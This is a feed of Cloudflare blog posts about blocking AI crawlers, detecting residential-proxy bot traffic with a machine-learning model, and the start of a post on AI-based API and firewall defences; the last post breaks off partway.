            <title><![CDATA[Declare your AIndependence: block AI bots, scrapers and crawlers with a single click]]></title>
            <link>https://blog.cloudflare.com/declaring-your-aindependence-block-ai-bots-scrapers-and-crawlers-with-a-single-click/</link>
            <pubDate>Wed, 03 Jul 2024 13:00:26 GMT</pubDate>
            <description><![CDATA[ To help preserve a safe Internet for content creators, we’ve just launched a brand new “easy button” to block all AI bots. It’s available for all customers, including those on our free tier ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/D59Fq5QkC4J7Jjo5lM4Fm/fcc55b665562d321bd84f88f53f46b22/image7-1.png" />
            
            </figure><p>To help preserve a safe Internet for content creators, we’ve just launched a brand new “easy button” to <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/">block all AI bots</a>. It’s available for all customers, including those on our free tier.</p><p>The popularity of <a href="https://www.cloudflare.com/learning/ai/what-is-generative-ai/">generative AI</a> has made the demand for content used to train models or run inference on skyrocket, and, although some AI companies clearly identify their web scraping bots, not all AI companies are being transparent. Google reportedly <a href="https://www.reuters.com/technology/reddit-ai-content-licensing-deal-with-google-sources-say-2024-02-22/">paid $60 million a year</a> to license Reddit’s user generated content, and most recently, Perplexity has been <a href="https://rknight.me/blog/perplexity-ai-is-lying-about-its-user-agent/">accused of impersonating legitimate visitors</a> in order to scrape content from websites. The value of original content in bulk has never been higher.</p><p>Last year, <a href="/ai-bots">Cloudflare announced the ability for customers to easily block AI bots</a> that behave well. These bots follow <a href="https://www.cloudflare.com/learning/bots/what-is-robots-txt/">robots.txt</a>, and don’t use unlicensed content to train their models or run inference for <a href="https://blogs.nvidia.com/blog/what-is-retrieval-augmented-generation/">RAG</a> applications using website data. Even though these AI bots follow the rules, Cloudflare customers overwhelmingly opt to <a href="https://www.cloudflare.com/learning/ai/how-to-prevent-web-scraping/">block them</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5aAA77Hl9OM2vtI611QcUI/0992e096262e348b451efd8be296fa27/image9.png" />
            
            </figure><p>We hear clearly that customers don’t want AI bots visiting their websites, and especially those that do so dishonestly. To help, we’ve added a brand new one-click to block all AI bots. It’s available for all customers, including those on the free tier. To enable it, simply navigate to the <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/bots/configure">Security &gt; Bots</a> section of the Cloudflare dashboard, and click the toggle labeled AI Scrapers and Crawlers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/xD0lhy89vZb34dtIWukt1/3e0e1ed979a33d344e53d4da2a819e1e/image2.png" />
            
            </figure><p>This feature will automatically be updated over time as we see new fingerprints of offending bots we identify as widely scraping the web for model training. To ensure we have a comprehensive understanding of all AI crawler activity, we surveyed traffic across our network.</p>
    <div>
      <h3>AI bot activity today</h3>
      <a href="#ai-bot-activity-today">
        
      </a>
    </div>
    <p>The graph below illustrates the most popular AI bots seen on Cloudflare’s network in terms of their request volume. We looked at common AI crawler user agents and aggregated the number of requests on our platform from these AI user agents over the last year:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/13pNq4MJJB92Dcs1ghxC6k/b7e7acc7e65e9e0958eed5d4b4cb0594/image6.png" />
            
            </figure><p>When looking at the number of requests made to Cloudflare sites, we see that <i>Bytespider</i>, <i>Amazonbot</i>, <i>ClaudeBot</i>, and <i>GPTBot</i> are the top four AI crawlers. Operated by ByteDance, the Chinese company that owns TikTok, <i>Bytespider</i> is reportedly used to gather training data for its large language models (LLMs), including those that support its ChatGPT rival, Doubao. <i>Amazonbot</i> and <i>ClaudeBot</i> follow <i>Bytespider</i> in request volume. <i>Amazonbot</i>, reportedly used to index content for Alexa’s question-answering, sent the second-most number of requests and <i>ClaudeBot</i>, used to train the Claude chat bot, has recently increased in request volume.</p><p>Among the top AI bots that we see, <i>Bytespider</i> not only leads in terms of number of requests but also in both the extent of its Internet property crawling and the frequency with which it is blocked. Following closely is <i>GPTBot</i>, which ranks second in both crawling and being blocked. <i>GPTBot</i>, managed by OpenAI, collects training data for its LLMs, which underpin AI-driven products such as ChatGPT. In the table below, “Share of websites accessed” refers to the proportion of websites protected by Cloudflare that were accessed by the named AI bot.</p>
<table><thead>
  <tr>
    <th><span>AI Bot</span></th>
    <th><span>Share of Websites Accessed</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>Bytespider</span></td>
    <td><span>40.40%</span></td>
  </tr>
  <tr>
    <td><span>GPTBot</span></td>
    <td><span>35.46%</span></td>
  </tr>
  <tr>
    <td><span>ClaudeBot</span></td>
    <td><span>11.17%</span></td>
  </tr>
  <tr>
    <td><span>ImagesiftBot</span></td>
    <td><span>8.75%</span></td>
  </tr>
  <tr>
    <td><span>CCBot</span></td>
    <td><span>2.14%</span></td>
  </tr>
  <tr>
    <td><span>ChatGPT-User</span></td>
    <td><span>1.84%</span></td>
  </tr>
  <tr>
    <td><span>omgili</span></td>
    <td><span>0.10%</span></td>
  </tr>
  <tr>
    <td><span>Diffbot</span></td>
    <td><span>0.08%</span></td>
  </tr>
  <tr>
    <td><span>Claude-Web</span></td>
    <td><span>0.04%</span></td>
  </tr>
  <tr>
    <td><span>PerplexityBot</span></td>
    <td><span>0.01%</span></td>
  </tr>
</tbody></table><p>While our analysis identified the most popular crawlers in terms of request volume and number of Internet properties accessed, many customers are likely not aware of the more popular AI crawlers actively crawling their sites. Our Radar team performed an analysis of the top robots.txt entries across the <a href="https://radar.cloudflare.com/domains">top 10,000 Internet domains</a> to identify the most commonly actioned AI bots, then looked at how frequently we saw these bots on sites protected by Cloudflare.</p><p>In the graph below, which looks at disallowed crawlers for these sites, we see that customers most often reference <i>GPTBot, CCBot</i>, and <i>Google</i> in robots.txt, but do not specifically disallow popular AI crawlers like <i>Bytespider</i> and <i>ClaudeBot</i>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6m4jV8g9sQ0BLR7OIonsoB/a4c3100a34160c96aea07c4ed4bc6a8d/image3.png" />
            
            </figure><p>With the Internet now flooded with these AI bots, we were curious to see how website operators have already responded. In June, AI bots accessed around 39% of the top one million Internet properties using Cloudflare, but only 2.98% of these properties took measures to block or challenge those requests. Moreover, the higher-ranked (more popular) an Internet property is, the more likely it is to be targeted by AI bots, and correspondingly, the more likely it is to block such requests.</p>
<table><thead>
  <tr>
    <th><span>Top N Internet properties by number of visitors seen by Cloudflare</span></th>
    <th><span>% accessed by AI bots</span></th>
    <th><span>% blocking AI bots</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>10</span></td>
    <td><span>80.0%</span></td>
    <td><span>40.0%</span></td>
  </tr>
  <tr>
    <td><span>100</span></td>
    <td><span>63.0%</span></td>
    <td><span>16.0%</span></td>
  </tr>
  <tr>
    <td><span>1,000</span></td>
    <td><span>53.2%</span></td>
    <td><span>8.8%</span></td>
  </tr>
  <tr>
    <td><span>10,000</span></td>
    <td><span>47.99%</span></td>
    <td><span>8.92%</span></td>
  </tr>
  <tr>
    <td><span>100,000</span></td>
    <td><span>44.53%</span></td>
    <td><span>6.36%</span></td>
  </tr>
  <tr>
    <td><span>1,000,000</span></td>
    <td><span>38.73%</span></td>
    <td><span>2.98%</span></td>
  </tr>
</tbody></table>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6gCWVJMv9GajRT3H8BQ5EM/effb5e2b52c0bdecb99f5f4e339c8d1d/image4.png" />
            
            </figure><p>We see website operators completely block access to these AI crawlers using robots.txt. However, these blocks are reliant on the bot operator respecting robots.txt and adhering to <a href="https://www.rfc-editor.org/rfc/rfc9309.html#name-the-user-agent-line">RFC9309</a> (ensuring variations on user against all match the product token) to honestly identify who they are when they visit an Internet property, but user agents are trivial for bot operators to change.</p>
    <div>
      <h3>How we find AI bots pretending to be real web browsers</h3>
      <a href="#how-we-find-ai-bots-pretending-to-be-real-web-browsers">
        
      </a>
    </div>
    <p>Sadly, we’ve observed bot operators attempt to appear as though they are a real browser by using a spoofed user agent. We’ve monitored this activity over time, and we’re proud to say that our global machine learning model has always recognized this activity as a bot, even when operators lie about their user agent.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4JpBRAGuQ1DOCTSFu9yHbH/9c11b569a30f68ddb1b4c197054ed1c8/image1.png" />
            
            </figure><p>Take one example of a specific bot that <a href="https://rknight.me/blog/perplexity-ai-is-lying-about-its-user-agent/">others</a> observed to be <a href="https://www.wired.com/story/perplexity-is-a-bullshit-machine/">hiding their activity</a>. We ran an analysis to see how our machine learning models scored traffic from this bot. In the diagram below, you can see that all <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">bot scores</a> are firmly below 30, indicating that our scoring thinks this activity is likely to be coming from a bot.</p><p>The diagram reflects scoring of the requests using <a href="/residential-proxy-bot-detection-using-machine-learning">our newest model</a>, where “hotter” colors indicate more requests falling in that band, and “cooler” colors meaning fewer requests did. We can see the vast majority of requests fell into the bottom two bands, showing that Cloudflare’s model gave the offending bot a score of 9 or less. The user agent changes have no effect on the score, because this is the very first thing we expect bot operators to do.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1y0G6D2b512V1UAgR6sooD/4cc9b659f091e84facbec66a30baafad/image5.png" />
            
            </figure><p>Any customer with an existing WAF rule set to challenge visitors with a bot score below 30 (our recommendation) automatically blocked all of this AI bot traffic with no new action on their part. The same will be true for future AI bots that use similar techniques to hide their activity.</p><p>We leverage Cloudflare global signals to calculate our Bot Score, which for AI bots like the one above, reflects that we correctly identify and score them as a “likely bot.”</p><p>When bad actors attempt to crawl websites at scale, they generally use tools and frameworks that we are able to fingerprint. For every fingerprint we see, we use Cloudflare’s network, which sees over 57 million requests per second on average, to understand how much we should trust this fingerprint. To power our models, we compute global aggregates across many signals. Based on these signals, our models were able to appropriately flag traffic from evasive AI bots, like the example mentioned above, as bots.</p><p>The upshot of this globally aggregated data is that we can immediately detect new scraping tools and their behavior without needing to manually fingerprint the bot, ensuring that customers stay protected from the newest waves of bot activity.</p><p>If you have a tip on an AI bot that’s not behaving, we’d love to investigate. There are two options you can use to report misbehaving AI crawlers:</p><p>1. Enterprise Bot Management customers can submit a False Negative <a href="https://developers.cloudflare.com/bots/concepts/feedback-loop/">Feedback Loop</a> report via Bot Analytics by simply selecting the segment of traffic where they noticed misbehavior:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/iwX6mvdnqg3KGRN0dMHou/a7c0a39275680db58f49c9292ca180c7/image8.png" />
            
            </figure><p>2. We’ve also set up a <a href="https://docs.google.com/forms/d/14bX0RJH_0w17_cAUiihff5b3WLKzfieDO4upRlo5wj8/edit">reporting tool</a> where any Cloudflare customer can submit reports of an AI bot scraping your website without permission.</p><p>We fear that some AI companies intent on circumventing rules to access content will persistently adapt to evade bot detection. We will continue to keep watch and add more bot blocks to our AI Scrapers and Crawlers rule and evolve our machine learning models to help keep the Internet a place where content creators can thrive and keep full control over which models their content is used to train or run inference on.</p> ]]></content:encoded>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[AI Bots]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Generative AI]]></category>
            <guid isPermaLink="false">4iUvyS3jKebfV9pHwg7pol</guid>
            <dc:creator>Alex Bocharov</dc:creator>
            <dc:creator>Santiago Vargas</dc:creator>
            <dc:creator>Adam Martinetti</dc:creator>
            <dc:creator>Reid Tatoris</dc:creator>
            <dc:creator>Carlos Azevedo</dc:creator>
        </item>
        <item>
            <title><![CDATA[Using machine learning to detect bot attacks that leverage residential proxies]]></title>
            <link>https://blog.cloudflare.com/residential-proxy-bot-detection-using-machine-learning/</link>
            <pubDate>Mon, 24 Jun 2024 13:00:17 GMT</pubDate>
            <description><![CDATA[ Cloudflare's Bot Management team has released a new Machine Learning model for bot detection (v8), focusing on bots and abuse from residential proxies ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Bots using residential proxies are a major source of frustration for security engineers trying to fight online abuse. These engineers often see a similar pattern of abuse when well-funded, modern botnets target their applications. Advanced bots bypass country blocks, <a href="https://www.cloudflare.com/en-gb/learning/network-layer/what-is-an-autonomous-system/">ASN</a> blocks, and rate-limiting. Every time, the bot operator moves to a new IP address space until they blend in perfectly with the “good” traffic, mimicking real users’ behavior and request patterns. Our new Bot Management machine learning model (v8) identifies residential proxy abuse without resorting to IP blocking, which can cause false positives for legitimate users.  </p>
    <div>
      <h2>Background</h2>
      <a href="#background">
        
      </a>
    </div>
    <p>One of the main sources of Cloudflare’s <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">bot score</a> is our bot detection machine learning model which analyzes, on average, over 46 million HTTP requests per second in real time. Since our first Bot Management ML model was released in 2019, we have continuously evolved and improved the model. Nowadays, our models leverage features based on request fingerprints, behavioral signals, and global statistics and trends that we see across our network.</p><p>Each iteration of the model focuses on certain areas of improvement. This process starts with a rigorous R&amp;D phase to identify the emerging patterns of <a href="https://www.cloudflare.com/learning/bots/what-is-a-bot-attack/">bot attacks</a> by reviewing <a href="https://developers.cloudflare.com/bots/concepts/feedback-loop/">feedback from our customers</a> and reports of missed attacks. In v8, we mainly focused on two areas of abuse. First, we analyzed the campaigns that leverage residential IP proxies, which are proxies on residential networks commonly used to launch widely distributed attacks against high profile targets. In addition to that, we improved model accuracy for detecting attacks that originate from cloud providers.</p>
    <div>
      <h3>Residential IP proxies</h3>
      <a href="#residential-ip-proxies">
        
      </a>
    </div>
    <p>Proxies allow attackers to hide their identity and distribute their attack. Moreover, IP address rotation allows attackers to directly bypass traditional defenses such as IP reputation and IP rate limiting. Knowing this, defenders use a plethora of signals to identify malicious use of proxies. In its simplest forms, IP reputation signals (e.g., data center IP addresses, known open proxies, etc.) can lead to the detection of such distributed attacks.</p><p>However, in the past few years, bot operators have started favoring proxies operating in residential network IP address space. By using residential IP proxies, attackers can masquerade as legitimate users by sending their traffic through residential networks. Nowadays, residential IP proxies are offered by companies that facilitate access to large pools of IP addresses for attackers. Residential proxy providers claim to offer 30-100 million IPs belonging to residential and mobile networks across the world. Most commonly, these IPs are sourced by partnering with free VPN providers, as well as including the proxy SDKs into popular browser extensions and mobile applications. This allows residential proxy providers to gain a foothold on victims’ devices and abuse their residential network connections.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Oob9FiycD6yIfYf8Xtdny/06e74f2dd0032ea4610dcab55b0ec38a/residential-proxy-architecture.jpg" />
            
            </figure><p>Figure 1: Architecture of a residential proxy network</p><p>Figure 1 depicts the architecture of a residential proxy. By subscribing to these services, attackers gain access to an authenticated proxy gateway address commonly using the HTTPS/<a href="https://datatracker.ietf.org/doc/html/rfc1928">SOCKS5</a> proxy protocol. Some residential proxy providers allow their users to select the country or region for the proxy exit nodes. Alternatively, users can choose to keep the same IP address throughout their session or rotate to a new one for each outgoing request. Residential proxy providers then identify active exit nodes on their network (on devices that they control within residential networks across the world) and route the proxied traffic through them.</p><p>The large pool of IP addresses and the diversity of networks poses a challenge to traditional bot defense mechanisms that rely on IP reputation and rate limiting. Moreover, the diversity of IPs enables the attackers to rotate through them indefinitely. This shrinks the window of opportunity for bot detection systems to effectively detect and stop the attacks. Effective defense against residential proxy attacks should be able to detect this type of bot traffic either based on single request features to stop the attack immediately, or identify unique fingerprints from the browsing agent to track and mitigate the bot traffic regardless of the IP source. Overly broad blocking actions, such as IP block-listing, by definition, would result in blocking legitimate traffic from residential networks where at least one device is acting as a residential proxy node.</p>
    <div>
      <h3>ML model training</h3>
      <a href="#ml-model-training">
        
      </a>
    </div>
    <p>At its heart, our model is built using a chain of modules that work together. Initially, we fetch and prepare training and validation datasets from our Clickhouse data storage. We use datasets with high confidence labels as part of our training. For model validation, we use datasets consisting of missed attacks reported by our customers, known sources of bot traffic (e.g., <a href="https://developers.cloudflare.com/bots/reference/verified-bots-policy/">verified bots</a>), and high confidence detections from other bot management modules (e.g., heuristics engine). We orchestrate these steps using Apache Airflow, which enables us to customize each stage of the ML model training and define the interdependencies of our training, validation, and reporting modules in the form of directed acyclic graphs (DAGs).</p><p>The first step of training a new model is fetching labeled training data from our data store. Under the hood, our dataset definitions are SQL queries that will materialize by fetching data from our Clickhouse cluster where we store feature values and calculate aggregates from the traffic on our network. Figure 2 depicts these steps as train and validation dataset fetch operations. Introducing new datasets can be as straightforward as writing the SQL queries to filter the desired subset of requests.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3xmgPc689UWAHZi29CfIrp/c0d5dca3b3a497423b00c9456ea5dc7c/airflow-dag.jpg" />
            
            </figure><p>Figure 2: Airflow DAG for model training and validation</p><p>After fetching the datasets, we train our <a href="https://catboost.ai/">Catboost model</a> and tune its <a href="https://catboost.ai/en/docs/references/training-parameters/">hyper parameters</a>. During evaluation, we compare the performance of the newly trained model against the current default version running for our customers. To capture the intricate patterns in subsets of our data, we split certain validation datasets into smaller slivers called specializations. For instance, we use the detections made by our heuristics engine and managed rulesets as ground truth for bot traffic. To ensure that larger sources of traffic (large <a href="https://www.cloudflare.com/learning/network-layer/what-is-an-autonomous-system/">ASNs</a>, different HTTP versions, etc.) do not mask our visibility into patterns for the rest of the traffic, we define specializations for these sources of traffic. As a result, improvements in accuracy of the new model can be evaluated for common patterns (e.g., HTTP/1.1 and HTTP/2) as well as less common ones. Our model training DAG will provide a breakdown report for the accuracy, score distribution, feature importance, and <a href="https://shap.readthedocs.io/en/latest/generated/shap.Explainer.html">SHAP explainers</a> for each validation dataset and its specializations.</p><p>Once we are happy with the validation results and model accuracy, we evaluate our model against a checklist of steps to ensure the correctness and validity of our model. We start by ensuring that our results and observations are reproducible over multiple non-overlapping training and validation time ranges. Moreover, we check for the following factors:</p><ul><li><p>Check for the distribution of feature values to identify irregularities such as missing or skewed values.</p></li><li><p>Check for overlaps between training and validation datasets and feature values.</p></li><li><p>Verify the diversity of training data and the balance between labels and datasets.</p></li><li><p>Evaluate performance changes in the accuracy of the model on validation datasets based on their order of importance.</p></li><li><p>Check for model overfitting by evaluating the feature importance and SHAP explainers.</p></li></ul><p>After the model passes the readiness checks, we deploy it in shadow mode. We can observe the behavior of the model on live traffic in log-only mode (i.e., without affecting the <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">bot score</a>). After gaining confidence in the model's performance on live traffic, we start onboarding beta customers, and gradually switch the model to active mode all while closely <a href="/monitoring-machine-learning-models-for-bot-detection">monitoring the real-world performance of our new model</a>.</p>
    <div>
      <h3>ML features for bot detection</h3>
      <a href="#ml-features-for-bot-detection">
        
      </a>
    </div>
    <p>Each of our models uses a set of features to make inferences about the incoming requests. We compute our features based on single request properties (single request features) and patterns from multiple requests (i.e., inter-request features). We can categorize these features into the following groups:</p><ul><li><p><b>Global features:</b> inter-request features that are computed based on global aggregates for different types of fingerprints and traffic sources (e.g., for an ASN) seen across our global network. Given the relatively lower cardinality of these features, we can scalably calculate global aggregates for each of them.</p></li><li><p><b>High cardinality features:</b> inter-request features focused on fine-grained aggregate data from local traffic patterns and behaviors (e.g., for an individual IP address)</p></li><li><p><b>Single request features:</b> features derived from each individual request (e.g., user agent).</p></li></ul><p>Our Bot Management system (named <a href="/scalable-machine-learning-at-cloudflare">BLISS</a>) is responsible for fetching and computing these feature values and making them available on our servers for inference by active versions of our ML models.</p>
    <div>
      <h2>Detecting residential proxies using network and behavioral signals</h2>
      <a href="#detecting-residential-proxies-using-network-and-behavioral-signals">
        
      </a>
    </div>
    <p>Attacks originating from residential IP addresses are commonly characterized by a spike in the overall traffic towards sensitive endpoints on the target websites from a large number of residential ASNs. Our approach for detecting residential IP proxies is twofold. First, we start by comparing direct vs proxied requests and looking for network level discrepancies. Revisiting Figure 1, we notice that a request routed through residential proxies (red dotted line) has to traverse through multiple hops before reaching the target, which affects the network latency of the request.</p><p>Based on this observation alone, we are able to characterize residential proxy traffic with a high true positive rate (i.e., all residential proxy requests have high network latency). While we were able to replicate this in our lab environment, we quickly realized that at the scale of the Internet, we run into numerous exceptions with false positive detections (i.e., non-residential proxy traffic with high latency). For instance, countries and regions that predominantly use satellite Internet would exhibit a high network latency for the majority of their requests due to the use of <a href="https://datatracker.ietf.org/doc/html/rfc3135">performance enhancing proxies</a>.</p><p>Realizing that relying solely on network characteristics of connections to detect residential proxies is inadequate given the diversity of the connections on the Internet, we switched our focus to the behavior of residential IPs. To that end, we observe that the IP addresses from residential proxies express a distinct behavior during periods of peak activity. While this observation singles out highly active IPs over their peak activity time, given the pool size of residential IPs, it is not uncommon to only observe a small number of requests from the majority of residential proxy IPs.</p><p>These periods of inactivity can be attributed to the temporary nature of residential proxy exit nodes. For instance, when the client software (i.e., browser or mobile application) that runs the exit nodes of these proxies is closed, the node leaves the residential proxy network. One way to filter out periods of inactivity is to increase the monitoring time and punish each IP address that exhibits residential proxy behavior for a period of time. This block-listing approach, however, has certain limitations. Most importantly, by relying only on IP-based behavioral signals, we would block traffic from legitimate users that may unknowingly run mobile applications or browser extensions that turn their devices into proxies. This is further detrimental for mobile networks where many users share their IPs behind <a href="https://en.wikipedia.org/wiki/Carrier-grade_NAT">CGNATs</a>. Figure 3 demonstrates this by comparing the share of direct vs proxied requests that we received from active residential proxy IPs over a 24-hour period. Overall, we see that 4 out of 5 requests from these networks belong to direct and benign connections from residential devices.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5vdkbz94Am2EHlL7tu9t3t/3256ae94bfee66c60ad71c6a6dbc7fc0/mlv8-blog-proxy-vs-direct.jpg" />
            
            </figure><p>Figure 3: Percentage of direct vs proxied requests from residential proxy IPs.</p><p>Using this insight, we combined behavioral and latency-based features along with new datasets to train a new <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning model</a> that detects residential proxy traffic on a per-request basis. This scheme allows us to block residential proxy traffic while allowing benign residential users to visit Cloudflare-protected websites from the same residential network.</p>
    <div>
      <h2>Detection results and case studies</h2>
      <a href="#detection-results-and-case-studies">
        
      </a>
    </div>
    <p>We started testing v8 in shadow mode in March 2024. Every hour, v8 is classifying more than 17 million unique IPs that participate in residential proxy attacks. Figure 4 shows the geographic distribution of IPs with residential proxy activity belonging to more than 45 thousand ASNs in 237 countries/regions. Among the most commonly requested endpoints from residential proxies, we observe patterns of account takeover attempts, such as requests to /login, /auth/login, and /api/login.  </p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3gGGhqngSzEkThZUoV3Fiw/d807f5456e3277e4aa24972588c59cf7/mlv8-blog-map-1.jpg" />
            
            </figure><p>Figure 4: Countries and regions with residential network activity. Size of markers are proportionate to the number of IPs with residential proxy activity.</p><p>Furthermore, we see significant improvements when evaluating our new machine learning model on previously missed attacks reported by our customers. In one case, v8 was able to correctly classify 95% of requests from distributed residential proxy attacks targeting the voucher redemption endpoint of the customer’s website. In another case, our new model successfully detected a previously missed <a href="https://www.cloudflare.com/learning/bots/what-is-content-scraping/">content scraping attack</a> evident by increased detection during traffic spikes depicted in Figure 5. We are continuing to monitor the behavior of residential proxy attacks in the wild and work with our customers to ensure that we can provide robust detection against these distributed attacks.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1jstvGe6HudxtAS54UJPW6/9bde592cb0efc64fb7a86ba33bb25047/shadowmode-v8.jpg" />
            
            </figure><p>Figure 5: Spikes in bot requests from residential proxies detected by ML v8</p>
    <div>
      <h2>Improving detection for bots from cloud providers</h2>
      <a href="#improving-detection-for-bots-from-cloud-providers">
        
      </a>
    </div>
    <p>In addition to residential IP proxies, bot operators commonly use cloud providers to host and run bot scripts that attack our customers. To combat these attacks, we improved our ground truth labels for cloud provider attacks in our latest ML training datasets. Early results show that v8 detects 20% more bots from cloud providers, with up to 70% more bots detected on zones that are marked as <a href="https://developers.cloudflare.com/fundamentals/reference/under-attack-mode/">under attack</a>. We further plan to expand the list of cloud providers that v8 detects as part of our ongoing updates.</p>
    <div>
      <h2>Check out ML v8</h2>
      <a href="#check-out-ml-v8">
        
      </a>
    </div>
    <p>For existing Bot Management customers we recommend <a href="https://developers.cloudflare.com/bots/reference/machine-learning-models/#enable-auto-updates-to-the-machine-learning-models">toggling “Auto-update machine learning model”</a> to instantly gain the benefits of ML v8 and its residential proxy detection, and to stay up to date with our future ML model updates. If you’re not a Cloudflare Bot Management customer, <a href="https://www.cloudflare.com/application-services/products/bot-management/">contact our sales team</a> to try out <a href="https://www.cloudflare.com/application-services/products/bot-management/">Bot Management</a>.</p> ]]></content:encoded>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Proxying]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Application Services]]></category>
            <guid isPermaLink="false">2EZrHNgKqLkaTGqoRM9pMS</guid>
            <dc:creator>Bob AminAzad</dc:creator>
            <dc:creator>Santiago Vargas</dc:creator>
            <dc:creator>Adam Martinetti</dc:creator>
        </item>
        <item>
            <title><![CDATA[Defensive AI: Cloudflare’s framework for defending against next-gen threats]]></title>
            <link>https://blog.cloudflare.com/defensive-ai/</link>
            <pubDate>Mon, 04 Mar 2024 14:00:24 GMT</pubDate>
            <description><![CDATA[ From identifying phishing attempts to protect applications and APIs, Cloudflare uses AI to improve the effectiveness of its security solutions to fight against new and more sophisticated attacks ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/xVD4cmhSUcJddNAFw2AJc/6fb1537ad293d5d4eee9059aae0eec9b/Personalized-defensive-AI.png" />
            
            </figure><p>Generative AI has captured the imagination of the world by being able to produce poetry, screenplays, or imagery. These tools can be used to improve human productivity for good causes, but they can also be employed by malicious actors to carry out sophisticated attacks.</p><p>We are witnessing phishing attacks and social engineering becoming more sophisticated as attackers tap into powerful new tools to generate credible content or interact with humans as if it was a real person. Attackers can use AI to build boutique tooling made for attacking specific sites with the intent of harvesting proprietary data and taking over user accounts.</p><p>To protect against these new challenges, we need new and more sophisticated security tools: this is how Defensive AI was born. Defensive AI is the framework Cloudflare uses when thinking about how intelligent systems can improve the effectiveness of our security solutions. The key to Defensive AI is data generated by Cloudflare’s vast network, whether generally across our entire network or specific to individual customer traffic.</p><p>At Cloudflare, we use AI to increase the level of protection across all security areas, ranging from <a href="https://www.cloudflare.com/application-services/solutions/">application security</a> to email security and our <a href="https://www.cloudflare.com/zero-trust/solutions/">Zero Trust platform</a>. This includes creating customized protection for every customer for API or email security, or using our huge amount of attack data to train models to detect application attacks that haven’t been discovered yet.</p><p>In the following sections, we will provide examples of how we designed the latest generation of security products that leverage AI to secure against AI-powered attacks.</p>
    <div>
      <h3>Protecting APIs with anomaly detection</h3>
      <a href="#protecting-apis-with-anomaly-detection">
        
      </a>
    </div>
    <p>APIs power the modern Web, comprising <a href="/2024-api-security-report/">57% of dynamic traffic</a> across the Cloudflare network, up from 52% in 2021. While APIs aren’t a new technology, securing them differs from securing a traditional web application. Because APIs offer easy programmatic access by design and are growing in popularity, fraudsters and threat actors have pivoted to targeting APIs. Security teams must now counter this rising threat. Importantly, each API is usually unique in its purpose and usage, and therefore <a href="https://www.cloudflare.com/application-services/solutions/api-security/">securing APIs</a> can take an inordinate amount of time.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5ojHc36uSFsnCBr870kK38/f4b7df6df5c60ffb087255ffb442e5e3/Screenshot-2024-03-01-at-1.39.29-PM.png" />
            
            </figure><p>Cloudflare is announcing the development of API Anomaly Detection for <a href="/api-gateway/">API Gateway</a> to protect APIs from attacks designed to damage applications, take over accounts, or <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrate data</a>. API Gateway provides a layer of protection between your hosted APIs and every device that interfaces with them, giving you the visibility, control, and security tools you need to manage your APIs.</p><p>API Anomaly Detection is an upcoming, ML-powered feature in our API Gateway product suite and a natural successor to <a href="/api-sequence-analytics">Sequence Analytics</a>. In order to protect APIs at scale, API Anomaly Detection learns an application’s business logic by analyzing client API request sequences. It then builds a model of what a sequence of expected requests looks like for that application. The resulting traffic model is used to identify attacks that deviate from the expected client behavior. As a result, API Gateway can use its <a href="https://developers.cloudflare.com/api-shield/security/sequence-mitigation/">Sequence Mitigation</a> functionality to enforce the learned model of the application’s intended business logic, stopping attacks.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/edeVw346MG6dZbjaDt97L/263e9c18c51f5320ce6e0c1d9ab957df/Screenshot-2024-03-01-at-2.01.25-PM-1.png" />
            
            </figure><p>While we’re still developing API Anomaly Detection, API Gateway customers can sign up <a href="https://www.cloudflare.com/lp/api-anomaly-detection/">here</a> to be included in the beta for API Anomaly Detection. Today, customers can get started with Sequence Analytics and Sequence Mitigation by reviewing the <a href="https://developers.cloudflare.com/api-shield/security/">docs</a>. Enterprise customers that haven’t purchased API Gateway can <a href="http://dash.cloudflare.com/?to=/:account/:zone/security/api-shield">self-start a trial</a> in the Cloudflare Dashboard, or contact their account manager for more information.</p>
    <div>
      <h3>Identifying unknown application vulnerabilities</h3>
      <a href="#identifying-unknown-application-vulnerabilities">
        
      </a>
    </div>
    <p>Another area where AI improves security is in our <a href="https://www.cloudflare.com/en-gb/learning/ddos/glossary/web-application-firewall-waf/">Web Application Firewall (WAF)</a>. Cloudflare processes 55 million HTTP requests per second on average and has an unparalleled visibility into attacks and exploits across the world targeting a wide range of applications.</p>
